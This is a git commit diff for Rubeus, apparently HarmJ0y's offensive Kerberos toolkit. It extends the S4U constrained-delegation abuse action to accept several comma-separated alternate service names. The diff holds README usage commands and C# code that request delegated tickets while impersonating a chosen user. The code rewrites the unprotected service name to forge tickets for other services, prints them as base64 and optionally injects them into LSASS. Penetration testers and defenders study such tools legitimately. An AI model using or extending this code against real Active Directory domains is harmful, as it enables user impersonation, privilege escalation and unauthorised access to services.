-Added option for multiple alternate snames (/altservice:X,Y,...) for the s4u actions

--The executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate
service names into the final resulting service ticket structure(s) for as many snames as specified
master
HarmJ0y 2018-09-24 23:16:49 -04:00
parent 3e12571c10
commit 4c94eb8f3a
2 changed files with 149 additions and 67 deletions

View File

@ -26,7 +26,7 @@ Rubeus is licensed under the BSD 3-Clause license.
Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt]
Submit a TGT, optionally targeting a specific LUID (if elevated):
Rubeus.exe ptt </ticket:BASE64 | /ticket:FILE.KIRBI> [/luid:LOGINID]
@ -218,7 +218,7 @@ First, a valid TGT/KRB-CRED file is needed for the account with constrained dele
The ticket is then supplied to the **s4u** action via /ticket (again, either as a base64 blob or a ticket file on disk), along with a required /impersonateuser:X to impersonate to the /msdsspn:SERVICE/SERVER SPN that is configured in the account's msds-allowedToDelegateTo field. The /dc and /ptt parameters function the same as in previous actions.
The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file.
The /altservice parameter takes advantage of [Alberto Solino](https://twitter.com/agsolino)'s great discovery about [how the service name (sname) is not protected in the KRB-CRED file](https://www.coresecurity.com/blog/kerberos-delegation-spns-and-more), only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...).
Alternatively, instead of providing a /ticket, a /user:X and either a /rc4:X or /aes256:X hash specification (/domain:X optional) can be used similarly to the **asktgt** action to first request a TGT for /user with constrained delegation configured, which is then used for the s4u exchange.

View File

@ -52,7 +52,15 @@ namespace Rubeus
Console.WriteLine("[*] Impersonating user '{0}' to target SPN '{1}'", targetUser, targetSPN);
if (!String.IsNullOrEmpty(altService))
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
string[] altSnames = altService.Split(',');
if (altSnames.Length == 1)
{
Console.WriteLine("[*] Final ticket will be for the alternate service '{0}'", altService);
}
else
{
Console.WriteLine("[*] Final tickets will be for the alternate services '{0}'", altService);
}
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, userName, ticket, clientKey, etype, false, targetUser);
@ -95,11 +103,12 @@ namespace Rubeus
s4u2proxyReq.req_body.realm = domain;
string[] parts = targetSPN.Split('/');
string serverName = parts[1];
s4u2proxyReq.req_body.sname.name_type = 2;
// the sname
s4u2proxyReq.req_body.sname.name_string.Add(parts[0]);
// the server
s4u2proxyReq.req_body.sname.name_string.Add(parts[1]);
s4u2proxyReq.req_body.sname.name_string.Add(serverName);
// supported encryption types
s4u2proxyReq.req_body.etypes.Add(Interop.KERB_ETYPE.aes128_cts_hmac_sha1);
@ -137,78 +146,151 @@ namespace Rubeus
AsnElt ae2 = AsnElt.Decode(outBytes2, false);
EncKDCRepPart encRepPart2 = new EncKDCRepPart(ae2.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
string[] altSnames = altService.Split(',');
foreach (string altSname in altSnames)
{
// now build the final KRB-CRED structure with one or more alternate snames
KRB_CRED cred = new KRB_CRED();
// since we want an alternate sname, first substitute it into the ticket structure
rep2.ticket.sname.name_string[0] = altSname;
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, substitute it into the encrypted portion of the KRB_CRED
Console.WriteLine("\r\n[*] Substituting alternative service name '{0}'", altSname);
info.sname.name_string[0] = altSname;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("[*] base64(ticket.kirbi) for SPN '{0}/{1}':\r\n", altSname, serverName);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
}
// add the ticket
cred.tickets.Add(rep2.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// if we want an alternate sname, lastely substitute it into the encrypted portion of the KRB_CRED
if (!String.IsNullOrEmpty(altService))
else
{
Console.WriteLine("[*] Substituting alternative service name '{0}'", altService);
info.sname.name_string[0] = altService;
}
// now build the final KRB-CRED structure, no alternate snames
KRB_CRED cred = new KRB_CRED();
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
// if we want an alternate sname, first substitute it into the ticket structure
if (!String.IsNullOrEmpty(altService))
{
rep2.ticket.sname.name_string[0] = altService;
}
byte[] kirbiBytes = cred.Encode().Encode();
// add the ticket
cred.tickets.Add(rep2.ticket);
string kirbiString = Convert.ToBase64String(kirbiBytes);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
KrbCredInfo info = new KrbCredInfo();
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
// [0] add in the session key
info.key.keytype = encRepPart2.key.keytype;
info.key.keyvalue = encRepPart2.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart2.realm;
// [2] pname (user)
info.pname.name_type = rep2.cname.name_type;
info.pname.name_string = rep2.cname.name_string;
// [3] flags
info.flags = encRepPart2.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart2.starttime;
// [6] endtime
info.endtime = encRepPart2.endtime;
// [7] renew-till
info.renew_till = encRepPart2.renew_till;
// [8] srealm
info.srealm = encRepPart2.realm;
// [9] sname
info.sname.name_type = encRepPart2.sname.name_type;
info.sname.name_string = encRepPart2.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
Console.WriteLine("\r\n[*] base64(ticket.kirbi) for SPN '{0}':\r\n", targetSPN);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
}
}
else if (responseTag == 30)